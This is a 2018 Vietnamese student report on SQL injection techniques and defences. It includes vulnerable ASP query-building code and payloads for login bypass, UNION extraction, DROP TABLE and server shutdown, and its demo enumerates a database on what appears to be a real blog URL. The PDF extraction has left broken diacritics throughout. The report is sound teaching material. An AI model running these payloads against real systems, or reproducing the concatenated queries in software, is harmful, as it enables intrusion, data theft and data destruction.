Tải bản đầy đủ (.pdf) (10 trang)

Đồ án tốt nghiệp: Kỹ thuật tấn công SQL Injection và cách phòng chống - An toàn bảo mật hệ thống thông tin

Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (4.95 MB, 10 trang )

HỌC VIỆN CƠNG NGHỆ BƯU CHÍNH VIỄN THƠNG
KHOA CƠNG NGHỆ THƠNG TIN

----

BÁO CÁO
MƠN: AN TỒN BẢO MẬT HỆ THỐNG THƠNG TIN
ĐỀ TÀI: KỸ THUẬT TẤN CƠNG SQL INJECTION VÀ
CÁCH PHỊNG CHỐNG

Giảng : Đỗ Xuân Chợ
viên
Thành viên : Lương Hùng
Mạnh Khổng Minh Qn
Lê Kim Hùng
Nguyễn Văn Trung
Vũ Văn Tồn
Nhóm
: 01

B15DCCN344
B15DCCN425
B15DCCN250
B15DCCN575
B15DCCN557


Hà Nội, 5/2018.
MỤC LỤC

MỞ ĐẦU....................................................................................................................... 1


I. Giới thiệu về SQL Injection......................................................................................2
1. Đặc trưng của các ứng dụng sử dụng cơ sở dữ liệu...........................................2
2. Tầm quan trọng của các lệnh sql đối với một hệ thống......................................2
3. Khái niệm SQL Injection.......................................................................................2
II. SQL Injection và các cách tấn công phổ biến..........................................................3
1. Dạng tấn công vượt qua kiểm tra đăng nhập.......................................................3
2. Dạng tấn công sử dụng câu lệnh SELECT..........................................................4
3. Dạng tấn công sử dụng câu lệnh INSERT...........................................................5
4. Dạng tấn cơng sử dụng Stored-procedures..........................................................5
III. Phịng chống SQL Injection.....................................................................................6
1. Kiểm soát chặt chẽ dữ liệu đầu vào....................................................................6
2. Thiết lập các đối tượng giả làm mồi nhử............................................................6
3. Thiết lập cấu hình an tồn cho hệ quản trị sơ sở dữ liệu...................................6
IV. DEMO...................................................................................................................... 7
V. Tài liệu tham khảo..................................................................................................10


MỞ ĐẦU
1. Tính cấp thiết của đề tài
Sự phát triển vượt bậc của công nghệ web đã đem lại nhiều thuận l ợi cho
người dùng như các nhà phát triển. Nhưng cùng với sự phát triển này thì các ứng
dụng web cũng trở thành mục tiêu ưu thích của những kẻ tấn cơng. Các hình th ức
tấn cơng rất đa dạng như thay đổi nội dung của trang web, tấn công từ chối dịch vụ
khiến cho việc truy nhập không thể thực hiện được hoặc rất khó th ực hi ện, chi ếm
quyền điều khiển trang web… Mục tiêu cả các hacker cũng r ất khác nhau, có th ể
tấn cơng xuất phát từ thiện chí, nhằm tìm ra những điểm y ếu và thông báo cho nhà
quản trị hệ thống. Nghiêm trọng hơn là tấn công để phục vụ cho các m ục đích x ấu
như tống tiền trang web, lấy cắp các dữ liệu nhạy c ảm nh ư thơng tin th ẻ tín d ụng,
mua hàng qua tài khoản của người khác… Trong các hình thức tấn cơng thì tấn cơng
bằng cách chèn mã lệnh (injection) là phổ biến. Tấn công website b ằng k ỹ thu ật

SQL injection từ lâu đã là mối quan tâm bảo mật hàng đ ầu c ủa các nhà phát tri ển
web và chủ sở hữu website. Giờ đây, các cuộc tấn cơng này ngày càng tr ở nên khó
phát hiện và ngăn chặn hơn. Số lượng các vụ tấn công nhằm vào c ơ sở d ữ li ệu
(CSDL) web đã lên tới một con số kỷ lục.
SQL Injection là kiểu tấn cơng có mục tiêu rất cụ thể và th ường là m ục tiêu
đơn lẻ. Chính vì thế mà những vụ tấn công như thế này thường không gây được sự
chú ý rộng rãi như virus hay sâu máy tính. Nếu như một máy chủ c ơ s ở dữ liệu b ị
tin tặc chiếm quyền kiểm soát thì sẽ có một khối lượng lớn thơng tin cá nhân tài
chính của người dùng sẽ rơi vào tay chúng. Và nếu thành cơng thì có th ể nói thơng
tin mà tin tặc thu được còn nhiều hơn so với tấn công phishing. Tin t ặc không ph ải
mất công giả mạo để lừa người sử dụng cung cấp thông tin cá nhân tài chính. Tỉ lệ
thành cơng của các vụ tấn cơng SQL injection thường rất cao.
2. Mục đích nghiên cứu
- Giúp chúng ta có thể hiểu hơn về các ứng dụng website, các mối đe d ọa v ề
vấn đề an tồn thơng tin
- Xác định được ngun nhân, nhận diện chính xác đối tượng động cơ, cách
thức tấn công và xâm nhập vào cơ sở dữ liệu.
- Hiểu rõ về các khái niệm sql injection và ph ương th ức hoạt đ ộng c ủa các
hacker thông qua lỗ hổng này.
1


I. Giới thiệu về SQL Injection
1. Đặc trưng của các ứng dụng sử dụng cơ sở dữ liệu
Hiện nay những ứng dụng phổ biến nhất và chiếm thị phần cũng như doanh
thu cao nhất đều là ứng dụng hỗ trợ tính năng quản lý. Dữ liệu là th ứ sống cịn
trong mọi hoạt động nghiệp vụ hiện tại. Chính vì lý do này, các ứng d ụng nghi ệp
vụ hiện tại đểu xây dựng trên những mơ hình phát triển gắn liền với cơ sở dữ liệu.
An toàn của dữ liệu được đặt nặng lên tính an tồn và bảo mật của ứng dụng
website kết nối cơ sở dữ liệu.

Các mơ hình phát triển ứng dụng web hiện tại được sử dụng phổ biến nhất
là 3-tier, ngồi ra cịn có một số bản cải tiến, mở rộng mơ hình này nh ằm m ục đích
riêng.
2. Tầm quan trọng của các lệnh sql đối với một hệ thống
Cơ sở dữ liệu chứa đựng những dữ liệu cần thiết để website có thể chạy
được và lưu trữ các thông tin phát sinh trong q trình chạy. Nó cũng l ưu tr ữ nh ững
thơng tin các nhân, thẻ tín dụng, mật khẩu của khách hàng, của Admin. Đ ể l ấy các
thông tin cần thiết từ cơ sở dữ liệu thì các lệnh SQL sẽ đảm nhận trách nhiệm thực
hiện các yêu cầu truy vấn được đưa ra từ phía người sử dụng: khi người dùng đăng
nhập vào hệ thống, lấy một thơng tin nào đó trên web…đ ều cần s ử d ụng các câu
lệnh SQL.
3. Khái niệm SQL Injection
SQL Injection là kỹ thuật điền vào những đoạn mã SQL bất hợp pháp cho
phép khai thác một lỗ hổng bảo mật tồn tại trong c ơ s ở d ữ li ệu của ứng d ụng. Lỗ
hổng này có thể xuất hiện khi ứng dụng khơng có đoạn mã kiểm tra chuỗi ký t ự
thoát nhúng trong câu truy vấn SQL hoặc do sự định dạng kiểu đầu vào không rõ
ràng hay do lỗi cú pháp SQL ngoài ý muốn.
SQL Injection là một dạng tấn công dễ thực hiện, hầu hết mọi thao tác
người tấn công cần được thực hiện một trình duyệt web, có th ể kèm theo m ột ứng
dụng proxy server. Chính vì đơn giản như vậy cho nên bất cứ ai cũng có th ể h ọc
cách tiến hành cuộc tấn công. Lỗi bắt nguồn từ mã nguồn của ứng dụng web chứ
khơng phải từ phía database, chính vì thế bất cứ thành phần nào của ứng dụng mà
người dung có thể tương tác để điều khiển nội dung đều có thể được s ử dụng để
tiến hành chèn truy vấn có hại. Như vậy có thể thấy, lỗi SQL injection xảy ra khi
2


website khơng được lập trình tốt, bản chất điểm yếu sql injection là xu ất hi ện t ừ
trong quá trình xử lý dữ liệu input của người dùng bên trong mã nguồn.
II. SQL Injection và các cách tấn công phổ biến

1. Dạng tấn công vượt qua kiểm tra đăng nhập
Với dạng này, tin tặc có thể dễ dàng vượt qua các trang đăng nhập nhờ vào
lỗi khi dùng các câu lệnh SQL thao tác trên cơ sở dữ liệu của ứng dụng web.
Xét một ví dụ điển hình, thơng thường để cho phép người dùng truy c ập vào
các trang web được bảo mật, hệ thống thường xây dựng trang đăng nhập đ ể yêu
cầu người dùng nhập thông tin về tên đăng nhập và mật khẩu. Sau khi ng ười dùng
nhập thông tin vào, hệ thống sẽ kiểm tra tên đăng nhập và m ật kh ẩu có h ợp l ệ
không để quyết định cho phép hay từ chối thực hiện tiếp.
Trong trường hợp này, người ta có thể sử dụng hai trang, một tang HTML để
hiển thị form nhập liệu và một trang ASP dùng để xử lý thơng tin từ phái người
dùng.
Ví dụ:
Login.html
<form action="ExecLogin.asp" method="post">
Username: <input type="text" name="fUSRNAME">

Password: <input type="password" name="fPASSWORD">

<input type="submit">
</form>
Execlogin.asp
<%
Dim vUsrName, vPassword, objRS, strSQL
vUsrName = Request.Form("fUSRNAME")
vPassword = Request.Form("fPASSWORD")
strSQL = "SELECT * FROM T_USERS " & _"WHERE USR_NAME='
" & vUsrName & _" ' and USR_PASSWORD=' " & vPassword & " ' "
Set objRS = Server.CreateObject("ADODB.Recordset")
objRS.Open strSQL, "DSN=..."
If (objRS.EOF) Then

Response.Write "Invalid login."
3


Else
Response.Write "You are logged in as " &objRS("USR_NAME")
End If Set objRS = Nothing %>
Thoạt nhìn, đoạn mã trong trang Execlogin.asp dường như không chứa bất c ứ m ột
lỗ hổng về an tồn nào. Người dùng khơng thể đăng nhập mà khơng có tên đăng
nhập và mật khẩu hợp lệ. Tuy nhiên, đoạn mã này thực s ự không an toàn và là ti ền
đề cho một lỗi SQL injection. Chỗ sơ hở nằm ở chỗ nhập liệu vào từ người dùng
được dùng để xây dựng trực tiếp câu lệnh SQL. Ví dụ, nếu người dùng nhập chuỗi
sau vào trong cả 2 ô nhập liệu của trang Login.html là: aaaa' or 1=1 – và 123 . Lúc
này câu truy vấn được gọi thực hiện:
SELECT * FROM T_USERS WHERE USR_NAME=’aaa’ or 1=1 --’ AND
USR_PASS=’123’
Câu truy vấn này hợp lệ và trả về với tất cả các bản ghi của T_USERS và đoạn mã
tiếp theo xử lý người dùng đăng nhập bất hợp pháp này như người dùng đăng nhập
hợp lệ.
2. Dạng tấn công sử dụng câu lệnh SELECT
Dạng tấn công này phức tạp hơn. Để thực hiện được kiểu tấn công này, k ẻ
tấn cơng phải có khả năng hiểu và lợi dụng các sơ hở trong thông báo lỗi từ h ệ
thống để dị tìm các điểm yếu. Ví dụ, trong các trang tìm ki ếm. Các trang này cho
phép người dùng nhập vào các thông tin như họ, tên,… Đoạn mã thường gặp là:
<%
Dim vAuthorName, objRS, strSQL
vAuthorName = Request("fAUTHOR_NAME")
strSQL

=


"SELECT

*

FROM

T_AUTHORS

WHERE

AUTHOR_NAME =' " & _ vAuthorName & " ' "
Set objRS = Server.CreateObject("ADODB.Recordset")
objRS.Open strSQL, "DSN=..."

Set objRS = Nothing %>
Tương tự như trên, tin tặc có thể lợi dụng sơ hở trong câu truy vấm SQL để nhập
vào trường tên tác gải chuỗi giá trị:
UNION SELECT ALL SELECT OtherField FROM OtherTable WHERE ' '=' (*)
4


Lúc này, ngồi câu truy vấn đầu khơng thành cơng, chương trình s ẽ th ực hi ện ti ếp
theo từ khóa UNION. Giả sử đoạn mã nhập vào là:
DROP TABLE T_AUTHORS –
Câu truy vấn sẽ thực hiện xóa bảng.
3. Dạng tấn công sử dụng câu lệnh INSERT
Thông thường các ứng dụng web cho phép người dùng đăng kí một tài khoản
tham gia. Chức năng không thể thiếu sau khi đăng kí thành cơng, ng ười dùng có th ể
xem và hiệu chỉnh thơng tin của mình. SQL injection có thể được dùng khi hệ thống

khơng kiểm tra tính hợp lệ của thơng tin nhập vào. Ví dụ, một câu l ệnh INSERT có
thể có cú pháp dạng:
INSERT INTO TableName VALUES('Value One', 'Value Two', 'Value Three')
Nếu đoạn mã xây dựng câu lệnh SQL có dạng:
<%
strSQL = "INSERT INTO TableName VALUES(' " & strValueOne & " ',
' " _ & strValueTwo & " ', ' " & strValueThree & " ') "
Set objRS = Server.CreateObject("ADODB.Recordset")
objRS.Open strSQL, "DSN=..."

Set objRS = Nothing %>
Thì chắc chắn sẽ bị lỗi SQLi, bởi vì nếu ta nhập vào trường thứ nhất ví dụ như:
' + (SELECT TOP 1 FieldName FROM TableName) + '
Lúc này câu truy vấn sẽ là:
INSERT INTO TableName VALUES(' ' + (SELECT TOP 1 FieldName FROM
TableName) + ' ', 'abc', 'def')
Khi đó, lúc thực hiện lệnh xem thông tin, xem như đã yêu cầu thực hiện thêm 1 lệnh
nữa đó là:
SELECT TOP 1 FieldName FROM TableName

5


4. Dạng tấn công sử dụng Stored-procedures
Stored-procedures được sử dụng trong lập trình web với mục đích nhằm
giảm sự phức tạp trong ứng dụng và tránh sự tấn công trong kỹ thuật sql injection.
Tuy nhiên những kẻ tấn công vẫn có thể có lợi dụng những stored procedure để tấn
cơng vào hệ thống. Việc tấn công này gây tác hại rất lớn nếu ứng dụng thực thi với
quyền quản trị hệ thống ‘sa’.
Ví dụ: stored-procedures sp_login gồm 2 tham số là username và password,

nếu kẻ tấn công nhập:
Username: thanhcong
Password: ‘ ; shutdown—
Lệnh gọi stored procedure như sau:
Exec sp_login ‘thahcong’,’ ;shutdown—‘
Lệnh shutdown thực hiện dừng sql server ngay lập tức.
III. Phòng chống SQL Injection
1. Kiểm soát chặt chẽ dữ liệu đầu vào
Để phịng tránh các nguy cơ có thể xảy ra, hãy bảo vệ các câu l ệnh SQL
bằng cách kiểm soát chặt chẽ tất cả các dữ liệu nh ập nhận đ ược t ừ đ ối t ượng
Request. Ví dụ, có thể giới hạn chiều dài của chuỗi nh ập li ệu, hoặc xây d ựng hàm
EscapeQuotes để thay thế các dấu nháy đơn bằng 2 dấu nháy đơn.
Trong trường hợp dữ liệu vào là số, lỗi xuất phát từ việc thay thế một giá trị
được tiên đoán là dữ liệu số bảng chuỗi chứa câu lệnh SQL bất hợp pháp. Để tránh
điều này đơn giản hãy kiểm tra dữ liệu có đúng kiểu hay khơng b ằng hàm
IsNumeric().
Ngồi ra có thể xây dựng hàm loại bỏ một số kí tự và từ khóa nguy hiểm
như: ,’, --, select, insert,xp_,… ra khỏi chuỗi dữ liệu nhập từ phía người dùng để
hạn chế các tấn công dạng này.
2. Thiết lập các đối tượng giả làm mồi nhử
Chiến thuật này được ra nhằm cảnh báo cho quản tri viên nguy c ơ m ột cu ộc
tấn cơng khi một ai đó cố tình tìm cách khai thác những dữ liệu. Phương pháp này
nên phối hợp với việc đặt tên các đối tượng khó đốn. Để thực hiện phương pháp
này, ta sinh các bảng chứa các cột có tính nh ạy cảm mà d ễ đốn, ví d ụ nh ư
6


password, id, nhưng dữ liệu trong các bảng này là dữ liệu giả và mỗi khi các thông
tin được truy cập, sẽ có một thơng báo gửi về cho quản trị viên.
3. Thiết lập cấu hình an tồn cho hệ quản trị sơ sở dữ liệu

Để ứng dụng tránh được tấn công SQL injection cần triển khai một số việc
sau:
- Khơng trả về trang lỗi có thơng tin nhạy cảm.
- Cải thiện dữ liệu nhập vào càng tốt càng có khả năng loại bỏ tấn công
- Hạn chế tối đa quyền truy vấn
- Thường xuyên kiểm tra, quét các ứng dụng bằng những công cụ mới nhất
- Dùng lá chắn tốt nhất có thể cho từng lớp tương tác.
IV. DEMO
Cách 1:
Công cụ hỗ trợ add-on hackbar
1) Kiểm tra xem trang web co bị lỗi không bằng cách thêm d ấu * vào cu ối đ ường
link:
t/blog/?mod=post&act=detail&id=19*

Ta thấy trang web bị lỗi.
2) Kiểm tra xem có bao nhiêu cột trong cơ sở dữ liệu bằng cách sử dụng lệnh order
by xx-- ở đây xx là một số

7


Ta kiểm tra order by 8- - trang web bị lỗi  Như vậy có 7 cột trong database.
3) Tiếp theo ta sẽ tìm các cột bị lỗi bằng UNION SELECT 1,2,3,4,5,6,7- -

Ở đây cột bị lỗi là cột thứ 2, 3, 4. Ta sẽ khai thác cột thứ 2.
4) Ta tiến hành hiện thơng tin các bảng có trong database ở cột thứ 2 bằng lệnh:
union select 1,group_concat(table_name),3,4,5,6,7 from information_schema.tables
where table_schema=database()--. Kết quả hiện lên tên bảng nguoidung và tintuc

Ta sẽ thêm unhex (hex(group_concat)) để tìm ra các thơng tin trong bảng nguoidung.

Như vậy câu truy vấn như sau:
union select 1,unhex(hex(group_concat(column_name))),3,4,5,6,7 from
information_schema.columns where table_name=0x6e67756f6964756e67—
8



×